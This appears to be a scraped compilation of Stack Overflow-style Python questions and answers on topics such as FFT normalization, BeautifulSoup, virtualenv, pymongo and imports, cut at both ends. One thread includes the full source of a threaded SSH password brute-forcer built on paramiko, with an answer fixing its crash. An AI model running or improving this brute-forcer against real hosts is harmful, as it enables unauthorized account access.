that the difference was no longer 8 or 256, but 256*8! it's just insane.
Although I worked around the problem I NEED to know why there is that
difference.
**Solved:** It was just the normalization, at some point I divided the IDL 256
array by a factor of 8 that I forgot to remove. In Dougal's answer there is
the documentation that I missed.
Answer: IDL and numpy use slightly different definitions of the DFT. Numpy's is (from
[the
documentation](http://docs.scipy.org/doc/numpy/reference/routines.fft.html#implementation-
details)):
while IDL's is (from
[here](http://www.physics.nyu.edu/grierlab/idl_html_help/F4.html)):
Numpy's `m` is the same as IDL's `x`, `k` is `u`, `n` is `N`. I think `a_m`
and `f(x)` are the same thing as well. So the factor of `1/N` is the obvious
difference, explaining the difference of 8 in your 8-elt case.
I'm not sure about the 256*8 one for the 256-elt case; could you maybe post
the original array and both outputs somewhere? (Does this happen for all
256-elt arrays? What about other sizes? I don't have IDL....)
|
TypeError: coercing to Unicode: need string or buffer, type found
Question: I'm trying to write a code that will read a file and make some manipulations
on it.
the code:
def assem(file):
import myParser
from myParser import Parser
import code
import symboleTable
from symboleTable import SymboleTable
newFile = "Prog.hack"
output = open(newFile, 'w')
input = open(file, 'r')
prsr=Parser(input)
while prsr.hasMoreCommands():
str = "BLANK"
if(parser.commandType() == Parser.C_COMMAND):
str="111"+code.comp(prsr.comp())+code.dest(prsr.dest())+code.jump(prsr.jump())+"\n"
output.write(str)
prsr.advance()
the error i get:
Traceback (most recent call last):
File "assembler.py", line 11, in <module>
input = open(file, 'r')
TypeError: coercing to Unicode: need string or buffer, type found
how i run the program:
python assembler.py Add.asm
where Add.asm id the file i want to read, all modules are in the same library,
including the .asm file.
Answer: You have multiple problems.
Firstly, your indentation is inconsistent. That means that the imports are
considered as part of the `assem` function, but nothing else is. Literally the
first thing that you have to know about Python is that indentation is
significant.
Secondly, you're using a built-in function name, `file`, for the name of your
variable. Don't do that.
Thirdly, you don't actually call the `assem` function. But because of your
first problem, the first unindented lines are executed on startup. So when the
line `input = open(file, 'r')` is reached, `file` still refers to the built-in
function, not your variable (which isn't defined at this point).
Finally, although this isn't actually causing your problem, you don't need to
do both `import myParser` and `from myParser import Parser`. Pick one.
|
Python issue with multiple loops and thread
Question: I'm not a python programmer, but I got a snip of code that was working
perfectly, but I need to modify it to loop trough files and get some data and
do the same task. Apparently it work fine, but on the end of the first line
obtained it crashes like this:
python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt
*************************************
*SSH Bruteforcer Ver. 0.2 *
*Coded by Christian Martorella *
*Edge-Security Research *
*[email protected] *
*************************************
Username file: Users.txt
Password file: passlist.txt
*************************************
HOST: 192.168.1.3
Username: bob
Trying password...
zzzzzz
Username: john
Trying password...
Traceback (most recent call last):
File "x.py", line 146, in <module>
test(sys.argv[1:])
File "x.py", line 139, in test
test_thread(name)
File "x.py", line 81, in test_thread
thread.join()
Zxcvbnm
The application is a small tool that test for weak SSH accounts, we were
target of several brute-force attacks recently and we blocked all of them, but
we also want to test periodically for weak accounts, since the applications
available (such as Medusa) crashed I decided to modify this one that works
fine on our systems, but pass host per host and user per user is not very
realistic for us. It's NOT a unauthorized test, I'm member of the IT and we
are doing it to prevent BREACHES!
import thread
import time
from threading import Thread
import sys, os, threading, time, traceback, getopt
import paramiko
import terminal
global adx
global port
adx="1"
port=22
data=[]
i=[]
term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')
print "\n*************************************"
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+" *"
print "*Coded by Christian Martorella *"
print "*Edge-Security Research *"
print "*[email protected] *"
print "*************************************\n"
def usage():
print "Usage: brutessh.py options \n"
print " -H: file with hosts\n"
print " -U: file with usernames\n"
print " -P: password file \n"
print " -p: port (default 22) \n"
print " -t: threads (default 12, more could be bad)\n\n"
print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
sys.exit()
class force(Thread):
def __init__( self, name ):
Thread.__init__(self)
self.name = name
def run(self):
global adx
if adx == "1":
passw=self.name.split("\n")[0]
t = paramiko.Transport(hostname)
try:
t.start_client()
except Exception:
x = 0
try:
t.auth_password(username=username,password=passw)
except Exception:
x = 0
if t.is_authenticated():
print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL
t.close()
adx = "0"
else:
print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
t.close()
time.sleep(0)
i[0]=i[0]-1
def test_thread(names):
i.append(0)
j=0
while len(names):
try:
if i[0]<th:
n = names.pop(0)
i[0]=i[0]+1
thread=force(n)
thread.start()
j=j+1
except KeyboardInterrupt:
print "Attack suspended by user..\n"
sys.exit()
thread.join()
def test(argv):
global th
global hostname
global username
th = 12
if len(sys.argv) < 3:
usage()
try :
opts, args = getopt.getopt(argv,"H:U:P:p:t:")
except getopt.GetoptError:
usage()
for opt,arg in opts :
if opt == '-U':
username = arg
elif opt == '-H':
hostname =arg
elif opt == '-P':
password = arg
elif opt == '-p':
port = arg
elif opt == "-t":
th = arg
try:
h = open(hostname, 'r')
except:
print "Can't open file with hostnames\n"
sys.exit()
try:
u = open(username, "r")
except:
print "Can't open username file\n"
sys.exit()
try:
f = open(password, "r")
except:
print "Can't open password file\n"
sys.exit()
print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password
print "*************************************\n\n"
hostfile = h.readlines()
for hostname in hostfile:
print "HOST: " + hostname.rstrip('\n')
userfile = u.readlines()
for username in userfile:
print "Username: " + username.rstrip('\n')
print "Trying password...\n"
name = f.readlines()
#starttime = time.clock()
test_thread(name)
#stoptime = time.clock()
#print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime)
print "\n"
if __name__ == "__main__":
try:
test(sys.argv[1:])
except KeyboardInterrupt:
print "Attack suspended by user...\n"
sys.exit()
How to fix this issue?
Thank you.
Answer:
import thread
...
from threading import Thread
not sure why you decided to import two classes with almost identical names.
seems dangerous!
i think you need Thread.join() not thread.join() since threading has a join
call but the thread does not.
|
Match an element of every line
Question: I have a list of rules for a given input file for my function. If any of them
are violated in the file given, I want my program to return an error message
and quit.
* Every gene in the file should be on the same chromosome
Thus for a lines such as:
NM_001003443 chr11 + 5997152 5927598 5921052 5926098 1 5928752,5925972,
5927204,5396098, NM_001003444 chr11 + 5925152 5926098 5925152 5926098 2
5925152,5925652, 5925404,5926098, NM_001003489 chr11 + 5925145 5926093 5925115
5926045 4 5925151,5925762, 5987404,5908098, etc.
Each line in the file will be variations of this line
Thus, I want to make sure every line in the file is on chr11
Yet I may be given a file with a different list of chr(and any number of
numbers). Thus I want to write a function that will make sure whatever number
is found on chr in the line is the same for every line.
Should I use a regular expression for this, or what should I do? This is in
python by the way.
Such as: chr\d+ ? I am unsure how to make sure that whatever is matched is the
same in every line though...
I currently have:
from re import *
for line in file:
r = 'chr\d+'
i = search(r, line)
if i in line:
but I don't know how to make sure it is the same in every line...
**In reference to sajattack's answer**
fp = open(infile, 'r')
for line in fp:
filestring = ''
filestring +=line
chrlist = search('chr\d+', filestring)
chrlist = chrlist.group()
for chr in chrlist:
if chr != chrlist[0]:
print('Every gene in file not on same chromosome')
Answer: Just read the file and have a while loop check each line to make sure it
contains `chr11`. There are string functions to search for substrings in a
string. As soon as you find a line that returns false (does not contain
`chr11`) then break out of the loop and set a flag `valid = false`.
import re
fp = open(infile, 'r')
fp.readline()
tar = re.findall(r'chr\d+', fp.readline())[0]
for line in fp:
if (line.find(tar) == -1):
print("Not valid")
break
This should search for a number in the line and check for validity.
|
Python beautifulsoup iterate over table
Question: I am trying to scrape table data into a CSV file. Unfortunately, I've hit a
road block and the following code simply repeats the TD from the first TR for
all subsequent TRs.
import urllib.request
from bs4 import BeautifulSoup
f = open('out.txt','w')
url = "http://www.international.gc.ca/about-a_propos/atip-aiprp/reports-rapports/2012/02-atip_aiprp.aspx"
page = urllib.request.urlopen(url)
soup = BeautifulSoup(page)
soup.unicode
table1 = soup.find("table", border=1)
table2 = soup.find('tbody')
table3 = soup.find_all('tr')
for td in table3:
rn = soup.find_all("td")[0].get_text()
sr = soup.find_all("td")[1].get_text()
d = soup.find_all("td")[2].get_text()
n = soup.find_all("td")[3].get_text()
print(rn + "," + sr + "," + d + ",", file=f)
This is my first ever Python script so any help would be appreciated! I have
looked over other question answers but cannot figure out what I am doing wrong
here.
Answer: You're starting at the top level of your document each time you use `find()`
or `find_all()`, so when you ask for, for example, all the "td"` tags you're
getting all the "td" tags _in the document,_ not just those in the table and
row you have searched for. You might as well not search for those because
they're not being used the way your code is written.
I think you want to do something like this:
table1 = soup.find("table", border=1)
table2 = table1.find('tbody')
table3 = table2.find_all('tr')
Or, you know, something more like this, with more descriptive variable names
to boot:
rows = soup.find("table", border=1).find("tbody").find_all("tr")
for row in rows:
cells = row.find_all("td")
rn = cells[0].get_text()
# and so on
|
Capturing images from a camera in Python: easy, reliable, cross-platform
Question: What is the most suitable way to capture a still image from Python and convert
to a PIL image?
Google gives me numerous ways with OpenCV and lesser-known libraries. I want
an easy, reliable, mature, cross-platform library for this purpose. And with
minimal dependencies and extra packages.
* * *
If possible, it must also support [displaying live
images](http://stackoverflow.com/questions/3596960/any-quick-python-gui-to-
display-live-images-from-camera) with major windowing toolkits, although the
performance (frame rate, clarity) is not important.
Answer: I use gphoto2 and with subprocess. But it should be possible to access this
library from ctypes, if you prefer this.
|
Python Fast Input Output Using Buffer Competitive Programming
Question: I have seen people using buffer in different languages for fast input/output
in Online Judges. For example this <http://www.spoj.pl/problems/INTEST/> is
done with C like this:
#include <stdio.h>
#define size 50000
int main (void){
unsigned int n=0,k,t;
char buff[size];
unsigned int divisible=0;
int block_read=0;
int j;
t=0;
scanf("%lu %lu\n",&t,&k);
while(t){
block_read =fread(buff,1,size,stdin);
for(j=0;j<block_read;j++){
if(buff[j]=='\n'){
t--;
if(n%k==0){
divisible++;
}
n=0;
}
else{
n = n*10 + (buff[j] - '0');
}
}
}
printf("%d",divisible);
return 0;
How can this be done with python?
Answer:
import sys
file = sys.stdin
size = 50000
t = 0
while(t != 0)
block_read = file.read(size)
...
...
Most probably this will not increase performance though – Python is
interpreted language, so you basically want to spend as much time in native
code (standard library input/parsing routines in this case) as possible.
TL;DR either use built-in routines to parse integers or get some sort of 3rd
party library which is optimized for speed.
|
Django 1.4 Development Environment with zc.buildout
Question: I am trying to create a dev environment for the Django 1.4 project using the
following guide:
<http://www.stereoplex.com/blog/a-django-development-environment-with-zc-
buildout>
**virtualenv** part of the guide runs ok with the following output:
virtualenv project
New python executable in project\Scripts\python.exe
Installing setuptools................done.
Installing pip...................done.
After that I am able to activate dev environment. Now I create directory named
**Source** , download the **bootstrap.py** to it and create a **buildout.cfg**
with the following content:
[buildout]
parts =
And run bootstrap.py for the following result:
Creating directory 'C:\\Dropbox\\XYZ\\project\\Source\\bin'.
Creating directory 'C:\\Dropbox\\XYZ\\project\\Source\\parts'.
Creating directory 'C:\\Dropbox\\XYZ\\project\\Source\\eggs'.
Creating directory 'C:\\Dropbox\\XYZ\\project\\Source\\develop-eggs'.
Generated script 'C:\\Dropbox\\XYZ\\project\\Source\\bin\\buildout'.
Here comes the problem part - **Installing Django** I configure the
buildout.cfg to the following and run bin\buildout created by bootstrap:
[buildout]
parts = django
[django]
recipe = djangorecipe
version = 1.4
After running bin\buildout i get the following error:
(project) C:\Dropbox\XYZ\project\Source>bin\buildout.exe
Traceback (most recent call last):
File "C:\Dropbox\XYZ\project\Source\bin\buildout-script.py", line 15, in <module> import site # imports custom buildout-generated site.py
File "C:\Dropbox\XYZ\project\Source\parts\buildout\site.py", line 601, in <module> main()
File "C:\Dropbox\XYZ\project\Source\parts\buildout\site.py", line 584, in main known_paths = addsitepackages(known_paths)
File "C:\Dropbox\XYZ\project\Source\parts\buildout\site.py", line 328, in addsitepackages import pkg_resources
ImportError: No module named pkg_resources
Although if I run python directly in project environment I can import
pkg_resources with no error:
(project) C:\Dropbox\XYZ\project\Source>python
Python 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information.
>>> import pkg_resources
>>> pkg_resources
<module 'pkg_resources' from 'C:\Dropbox\XYZ\project\lib\site-packages\setuptools-0.6c11-py2.7.egg\pkg_resources.py'>
I am completely struck here. Any suggestions?
Answer: I don't have the definitive answer, but here are some brainstorm thoughts:
* Why the virtualenv? Buildout itself provides isolation, so no virtualenv is needed. Could you re-try with just a bootstrap.py and your buildout.cfg? So just run bootstrap.py with your system python?
* Do you have buildout installed globally, perhaps? They can interfere.
* The latest 1.5.2 buildout has some problems with site.py files in some situations, which is a possible reason for it failing inside a virtualenv. Could you try the special 1.4.4 bootstrap mentioned in <http://pypi.python.org/pypi/zc.buildout/1.5.2#system-python-and-zc-buildout-1-5> ?
* `bin/buildout -vvv` gives you much more debugging info.
An additional comment: the `version` setting in djangorecipe is deprecated in
the latest versions of djangorecipe. You can remove it. If you want to pin
Django you have to pin it in your buildout's `[version]` list.
|
Is there a universal way of iterating over a set or values of a dict in Python 2.7?
Question: I expect the collection to be either a set or a dict. Problem is that:
for element in collection:
print element
will give me the elements if collection is a set, but indexes if collection is
a dict. What I want is a one-liner that will iterate over dict values.
Is that possible?
Answer: The most foolproof way to test for a mapping is to use `isinstance` on
[`collections.Mapping`](http://docs.python.org/library/collections.html#collections.Mapping):
import collections
for element in (collection.values()
if isinstance(collection, collections.Mapping) else collection):
If you need to do that frequently (you shouldn't, or you probably have a
design issue), you could move it into a function:
def values(collection):
return (collection.values()
if isinstance(collection, collections.Mapping) else collection)
for element in values(collection):
|
Recording and asserting an empty mock list in python unittest
Question: I'm using `unittest` and `mock` (Michael Foord's module) to test some python
code.
I have something like this (this is a proof of concept that could be rewritten
more cleanly, but my real code needs to behave like that `foo` function):
import unittest
from mock import patch
def foo():
my_list = []
class Test(unittest.TestCase):
def test_foo(self):
with patch('__main__.my_list', new=[], create=True) as baz:
baz.extend(['foo', 'bar'])
self.assertEqual(foo(), None)
self.assertListEqual([], baz)
if __name__ == '__main__':
unittest.main()
So the problem is that my `baz` mock object doesn't change accordingly after
the `foo()` call and the last assertion fails.
If I use `my_list.remove(x)` in `foo()` then I can see the changes in my test
case, but I just want to empty that list, I don't want to pass through every
element of the list then remove it, no, I want a fast empty operation.
How can I check if my mock object is emptied without using `.remove(x)`, but
using the current implementation of function `foo`?
Answer: So, I end up answering my own question...
The solution was to use `my_list[:] = []` in `foo`.
But I also realized that passing `create=True` is bad because if that list
doesn't exist (exactly the case of this POC) it will be created and I'll
possibly test broken code that passes the tests.
|
Using pymongo tailable cursors dies on empty collections
Question: Hoping someone can help me understand if I'm seeing an issue or if I just
don't understand mongodb tailable cursor behavior. I'm running mongodb 2.0.4
and pymongo 2.1.1.
Here is an script that demonstrates the problem.
#!/usr/bin/python
import sys
import time
import pymongo
MONGO_SERVER = "127.0.0.1"
MONGO_DATABASE = "mdatabase"
MONGO_COLLECTION = "mcollection"
mongodb = pymongo.Connection(MONGO_SERVER, 27017)
database = mongodb[MONGO_DATABASE]
if MONGO_COLLECTION in database.collection_names():
database[MONGO_COLLECTION].drop()
print "creating capped collection"
database.create_collection(
MONGO_COLLECTION,
size=100000,
max=100,
capped=True
)
collection = database[MONGO_COLLECTION]
# Run this script with any parameter to add one record
# to the empty collection and see the code below
# loop correctly
#
if len(sys.argv[1:]):
collection.insert(
{
"key" : "value",
}
)
# Get a tailable cursor for our looping fun
cursor = collection.find( {},
await_data=True,
tailable=True )
# This will catch ctrl-c and the error thrown if
# the collection is deleted while this script is
# running.
try:
# The cursor should remain alive, but if there
# is nothing in the collection, it dies after the
# first loop. Adding a single record will
# keep the cursor alive forever as I expected.
while cursor.alive:
print "Top of the loop"
try:
message = cursor.next()
print message
except StopIteration:
print "MongoDB, why you no block on read?!"
time.sleep(1)
except pymongo.errors.OperationFailure:
print "Delete the collection while running to see this."
except KeyboardInterrupt:
print "trl-C Ya!"
sys.exit(0)
print "and we're out"
# End
So if you look at the code, it is pretty simple to demonstrate the issue I'm
having. When I run the code against an empty collection (properly capped and
ready for tailing), the cursor dies and my code exits after one loop. Adding a
first record in the collection makes it behave the way I'd expect a tailing
cursor to behave.
Also, what is the deal with the StopIteration exception killing the
cursor.next() waiting on data? Why can't the backend just block until data
becomes available? I assumed the await_data would actually do something, but
it only seems to keep the connection waiting a second or two longer than
without it.
Most of the examples on the net show putting a second While True loop around
the cursor.alive loop, but then when the script tails an empty collection, the
loop just spins and spins wasting CPU time for nothing. I really don't want to
put in a single fake record just to avoid this issue on application startup.
Answer: This is known behavior, and the 2 loops "solution" is the accepted practice to
work around this case. In the case that the collection is empty, rather than
immediately retrying and entering a tight loop as you suggest, you can sleep
for a short time (especially if you expect that there will soon be data to
tail).
|
How to create managers for the worker threads?
Question: The code works fine for a single "manager", which basically launches some HTTP
GETs to a server. But I've hit a brick wall.
How do I create 2 managers now, each with its own Download_Dashlet_Job object
and tcp_pool_object? In essence, the managers would be commanding their own
workers on two seperate jobs. This seems to be a really good puzzle for
learning Python classes.
import workerpool
from urllib3 import HTTPConnectionPool
class Download_Dashlet_Job(workerpool.Job):
def __init__(self, url):
self.url = url
def run(self):
request = tcp_pool_object.request('GET', self.url, headers=headers)
tcp_pool_object = HTTPConnectionPool('M_Server', port=8080, timeout=None, maxsize=3, block=True)
dashlet_thread_worker_pool_object = workerpool.WorkerPool(size=100)
#this section emulates a single manager calling 6 threads from the pool but limited to 3 TCP sockets by tcp_pool_object
for url in open("overview_urls.txt"):
job_object = Download_Dashlet_Job(url.strip())
dashlet_thread_worker_pool_object.put(job_object)
dashlet_thread_worker_pool_object.shutdown()
dashlet_thread_worker_pool_object.wait()
Answer: First, `workerpool.WorkerPool(size=100)` creates 100 worker threads. In the
comment below, you're saying you want 6 threads? You need to change that to 6.
In order to create a second pool, you need to create another pool. You can
also create another job class, and just add this different type of job to the
same pool, if you prefer.
|
Creating instance names from a list (Python)
Question: I've got a function that builds a random number of object instances. For the
sake of demonstrating the general idea, we're going to pretend that this is an
algorithm to build a series of nethack-like rooms.
The requirements are such that I won't know how many instances there will be
in advance; these are generated randomly and on-the-fly.
As a brief note: I am fully aware that the following code is nonfunctional,
but it should (hopefully!) demonstrate my aims.
import random
class Levelbuild(object):
def __init__(self):
self.l1 = dict({0:'a',1:'b',2:'c',3:'d',4:'e',5:'f',6:'g',7:'h',8:'i'})
# Pick a random number between 4 and 9.
for i in range(random.randint(4,9)):
self.l1[i] = Roombuilder()
If we assume that the chosen random integer is 5, the ideal result would be 5
Roombuilder() instances; labeled a, b, c, d, and e, respectively.
Is there a simple way of doing this? Is there a way to do this period?
\--Edit--
A giant "thank you" to Nick ODell for his answer. This isn't a complete
copy/paste-- but it's a variation that works for what I need;
import random
class Room(object):
def __init__(self):
self.size = (5,5)
class Level(object):
def __init__(self):
roomnames = ['a','b','c','d','e','f','g','h','i']
self.rooms = {}
for i in range(random.randint(4, 9)):
self.rooms[roomnames[i]] = Room()
Rather than build each "room" by hand, I can now...
test = Level()
print test.rooms['a'].size
>>> (5,5)
Answer:
import string
import random
class Levelbuild(object):
def __init__(self,min_room_count,max_room_count):
rooms_temp = [new RoomBuilder() for i in range(random.randint(min_room_count,max_room_count))]
self.l1 = dict(zip(string.ascii_lowercase, rooms_temp))
Note: This will fail silently if given more than 26 rooms.
|
Get return value of ruby function in python
Question: I have a ruby script that gets executed by a python script. From within the
python script I want to access to return value of the ruby function.
Imagine, I would have this **ruby script** _test.rb_ :
class TestClass
def self.test_function(some_var)
if case1
puts "This may take some time"
# something is done here with some_var
puts "Finished"
else
# just do something short with some_var
end
return some_var
end
end
Now, I want to get the return value of that function into my **python script**
, the printed output should go to stdout.
I tried the following (**example 1**):
from subprocess import call
answer = call(["ruby", "-r", "test.rb", "-e", "puts TestClass.test_function('some meaningful text')"])
However, this gives me the whole output on stdout and `answer` is just the
exit code.
Therefore i tried this (**example 2**):
from subprocess import check_output
answer = check_output(["ruby", "-r", "test.rb", "-e", "puts TestClass.test_function('some meaningful text')"])
This gives me the return value of the function in the _else case_ (see
test.rb) almost immediately. However, if _case1_ is true, `answer` contains
the whole output, but while running test.rb nothing gets printed.
Is there any way to get the return value of the ruby function and the
statements printed to stdout? Ideally, the solution requires no additional
modules to install. Furthermore, I can't change the ruby code.
Edit:
Also tried this, but this also gives no output on stdout while running the
ruby script (**example 3**):
import subprocess
process = subprocess.Popen(["ruby", "-r", "test.rb", "-e", "puts TestClass.test_function('some meaningful text')"], stdout=subprocess.PIPE)
answer = process.communicate()
I also think that this is no matter of flushing the output to stdout in the
ruby script. Example 1 gives me the output immediately.
Answer: Another way of doing this, without trying to call the ruby script as an
external process is to set up a xmlrpc (or jsonrpc) server with the Ruby
script, and call the remote functions from Python jsonrpc client (or xmlrpc)-
the value would be available inside the Python program, nad even the sntax
used would be just like you were dealing with a normal Python function.
Setting up such a server to expose a couple of functions remotely is very easy
in Python, and should be the same from Ruby, but I had never tried it.
|
Finding the location of a given arc distance along a parameterized curve in python
Question: I have a parameterized 2D curve: (x,y) = f(t)
The function f is arbitrary but differentiable and hence I can figure out the
differential arc length ds along the curve at any point using standard
formulas. I can also get the total arc length S(t) from the beginning to any
point on the curve by integrating the differential arc length formula
numerically. I can control the accuracy of the calculation.
I want to find locate the point (x,y) that has a total arc length S = D from
the beginning of the curve. Even better if the implementation were in python.
I will be doing this many times, and it is part of a computational application
where I need tight control of accuracy and some confidence of convergence.
I don't know if root finding is the best approach, but my question is the
equivalent of a root finding problem for g(t) = S(t) - D where the function
g(t) is not evaluated exactly because S(t) isn't. Inexact function evaluation
messes not only with accuracy but also the monotonicity of g(t). I tried doing
tight numerical integration from the outset but it takes forever. I'm pretty
sure to converge to my required tolerance the root finding algorithm would
have to lazily control the integration accuracy as it proceeded, demanding
sloppy evaluation at the outset and increasing accuracy as the root algorithm
converges.
Is there such a thing readily available? Is there an alternative clever way to
do it?
Appreciate the help
Answer: Can you post some code, and tell us what's wrong with it?
Here is my version that calculate the t where S(t) == D:
from scipy.integrate import quad
from scipy.optimize import fsolve
from math import cos, sin, sqrt, pi
def circle_diff(t):
dx = -sin(t)
dy = cos(t)
return sqrt(dx*dx+dy*dy)
def sin_diff(t):
dx = 1
dy = cos(t)
return sqrt(dx*dx+dy*dy)
def curve_length(t0, S, length):
return quad(S, 0, t0)[0] - length
def solve_t(curve_diff, length):
return fsolve(curve_length, 0.0, (curve_diff, length))[0]
print solve_t(circle_diff, 2*pi)
print solve_t(sin_diff, 7.640395578)
|
Python 3.x: Using string.maketrans() in order to create a unicode-character transformation
Question: I would like to write the following code:
import string
frm = b'acdefhnoprstuw'
to = 'אקדיפהנופרסתאו'
trans_table = string.maketrans(frm, to)
hebrew_phrase = 'fear cuts deeper than swords'.translate(trans_table)
The above code doesn't work because the `to` parameter to
`string.maketrans(frm, to)` has to be a byte sequence, not a string. The
problem is that byte sequences can only contain ASCII literal characters.
Therefore I cannot make a transformation which translates English strings to
Hebrew strings. The reason is that `string.maketrans()` retruns a bytes
object.
Is there an elegant way to use the `string.maketrans()` and `translate()`
functions (or equivalent functions that work with unicode) for my task?
Answer: You need to use str.maketrans(), which takes two str as arguments.
>>> frm = 'acdefhnoprstuw'
>>> to = 'אקדיפהנופרסתאו'
>>> trans_table = str.maketrans(frm, to)
>>> hebrew_phrase = 'fear cuts deeper than swords'.translate(trans_table)
>>> hebrew_phrase
'פיאר קאתס דייפיר תהאנ סוורדס'
String.maketrans still existed in Python 3.1, but that's just because they
missed moving it to bytes.maketrans() in 3.0. It was deprecated in 3.1 already
and in 3.2 it is gone.
|
python virtualenv: why can I still import old modules in clean/new virtualenv
Question: I'm starting a new Python project, and I want to work with **virtualenv** to
have a clean start. After setting one up though, I can still import old
modules that I have not installed for the new virtualenv - why?
I created one with:
virtualenv ~/virtualenvs/mynewproject --no-site-packages
now i activate with `source bin/activate`
Now when I start a python interpreter (by just typing `python`), I thought
that it will use the python interpreter in my virtualenv, and my pythonpath
would have been set to the site-packages path of my virutalenv's python
(/virtualenvs/mynewporject/lib/python2.7/site-packages), and nothing else.
However, when I look at sys.path, all the old, system-wide packages are
available, and I can import them fine - which is what I don't want.
What am I missing here?
Answer: Check your `PYTHONPATH` environment variable which probably points to where
you have the older version of your package. This variable always comes first
in your `sys.path` so make sure you either clear it or change it to point to
the virtualenv which you activate.
|
os.walk raises "unknown exception" in Eclipse/PyDev when path is a windows mapped network drive
Question: I am trying to write a module that searches for different files on mapped
drives in a Windows environment. This works perfectly in PythonWin and Idle
but raises an exception _"Unknown exception when splitting input. Press any
key to quit"_ when run in Eclipse/Pydev. L:\ i a mapped network drive
import os
path = "L:\\"
for (path, dirs, files) in os.walk(path):
print dirs
If I set `path = "C:\\"` this works great. Any ideas what differs
Eclipse/PyDev from Idle?
Answer: The one thing that I know PyDev does differently is a site customization...
Try removing it just to see if it may fix things:
Rename:
`plugins\org.python.pydev_XXX\pysrc\pydev_sitecustomize\sitecustomize.py` to
`__sitecustomize.py` and do the launch to see if that may be the issue...
|
Python packages and imports - clarification needed
Question: The import function of Python still confuses me sometimes. Here's an example:
My project has the following package structure:
Project/
src/
example/
__init__.py
an_example.py
top/
__init__.py
lin/
__init__.py
factory.py
In `an_example.py`, I'd like to write
from top import lin
if __name__ == '__main__':
a = lin.factory.AClass()
However, this fails with:
a = lin.factory.AClass()
AttributeError: 'module' object has no attribute 'factory'
`an_example.py` works when written like this:
from top.lin import factory
if __name__ == '__main__':
a = factory.AClass()
Can you explain to me why it is wrong to write the import statement like the
first version? I'd prefer a fully qualified name like `lin.factory.AClass` to
`factory.AClass`.
Answer: This is because, unless you tell `lin` to import `factory` in `__init__.py`,
then `factory` is not in the `lin` namespace.
E.g:
Presume your existing project structure, with an_example.py containing:
from top import lin
lin.factory.AClass()
With `top/lin/__init__.py` blank, we get `ImportError: No module named
factory`.
With `top/lin/__init__.py` containing `import top.lin.factory`, we get no
error.
When you ask to use `factory.AClass()`, it works because it is defined there.
Likewise, you need to define factory in `lin` if you want to use it from
there.
|
python lxml unavailable in dev_appserver(gae,windows)
Question: I have installed lxml yet.
It works fine in IDLE.
But when I start an basic app described below with dev_appserver.py ,server
returns error "No module named lxml".
import webapp2,lxml
class MainPage(webapp2.RequestHandler):
def get(self):
self.response.out.write("test")
app = webapp2.WSGIApplication([("/(.*)", MainPage)],debug=True)
How can I resolve this??
Thanks!!
Answer: Assumingly you're using Python 2.7 runtime. This runtime provides a fine way
for configuring libraries.
Please add libraries section in your app.yaml as follows:
libraries:
- name: lxml
version: latest
For more details, please see:
<https://developers.google.com/appengine/docs/python/python27/using27#Configuring_Libraries>
|
Removing an application kills my Django admin interface
Question: I had a `login` app which I was using. It had a table in my sqlite3 database.
I decided I didn't need it anymore and I removed `'login',` from my
INSTALLED_APPS and I deleted the app directory. However, now whenever I go to
`/admin` I get:
ImportError at /admin/
No module named login
Is this because there is still a `login` table? How can I get rid of that? I
tried `python manage.py dbshell` and `drop table login;` but it said a table
named `login` didn't exist.
Answer: The `ImportError` means there is an `import login` or `from ... import login`
statement that Python can not fulfill. You could check in the printed
traceback for the location of the statement. It probably in some admin.py file
inside installed apps. If the error occurs during login to `/admin/`, you
could check `AUTHENTICATION_BACKENDS` in settings per Lovelive's suggestion.
The error has no relationship w/ Database table normally.
|
Limiting scope of Python import
Question: I have some code that looks like this:
from pyparsing import Word, alphas, Optional, ...
# Do stuff ...
# And at the end, save a result to the outside world.
parser = ...
# Now use parser but don't use anything else from pyparsing again.
I like having the convenience of calling `from <package> import <etc>`, but I
only want it to be used in a very small segment of code. I am afraid I am
contributing to namespace pollution because I have a number of small snippets
like this in the same file.
What is the Pythonic way of handling this situation? I am still just kind of
playing around with it, so I would rather not write and rewrite`pyparsing.` so
many times.
Answer: The usual ways to control namespace pollution are
1. Delete the variables after use
2. Use the __all__ variable
3. Use import-as to underscored variable names
These techniques are all used by the core developers in the standard library.
For example, the _decimal_ module:
* starts out with [private name imports](http://hg.python.org/cpython/file/2.7/Lib/decimal.py#l139) such as `import math as _math` etc.
* Later it does work to setup a threading environment followed by [variable deletion](http://hg.python.org/cpython/file/2.7/Lib/decimal.py#l402) using `del sys, MockThreading`.
* In addition, it [defines an __all__ variable](http://hg.python.org/cpython/file/2.7/Lib/decimal.py#l118) to make clear what the public API is.
Taken together, these techniques keep the namespace as clean as a whistle.
|
declarations within python class equivalent to _init_?
Question: I was wondering if the declarations put at the top of the python class are
equivalent to statements in `__init__`? For example
import sys
class bla():
print 'not init'
def __init__(self):
print 'init'
def whatever(self):
print 'whatever'
def main():
b=bla()
b.whatever()
return 0
if __name__ == '__main__':
sys.exit( main() )
The output is:
not init
init
whatever
As a sidenote, right now I also get:
Fatal Python error: PyImport_GetModuleDict: no module dictionary!
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
Any ideas on why this is? Thank you in advance!
Answer: No, it's not equivalent. The statement `print 'not init'` is run while the
class `bla` is being defined, even before you instantiate an object of type
`bla`.
>>> class bla():
... print 'not init'
... def __init__(self):
... print 'init'
not init
>>> b = bla()
init
|
Error when running simple python script
Question: When I run the following:
import sys
if __name__ == '__main__':
print 'before exit'
sys.exit(0)
The output is:
before exit
Exception in thread Thread-1 (most likely raised during interpreter shutdown):
Traceback (most recent call last):
I don't know why the exception occurs, but it was suggested that it could be
an improper installation of Python. I was wondering if anyone knew of a way to
fix this? I am running Windows 7 x64, but with an x32 install of everything.
Answer: I agree with the commenters that suggest you have a bad python install (an
exception thrown running something so simple is a clear indication of
corruption). But reinstalling need not be painful.
Here's what I would do.
First, rename your python directory (on windows its something like
c:\python2.x)
Next, install fresh copy of python (be sure it's the same version you already
were running)
Finally, copy the Site-packages folder from previous installation into the new
install.
|
Python: parse commandline
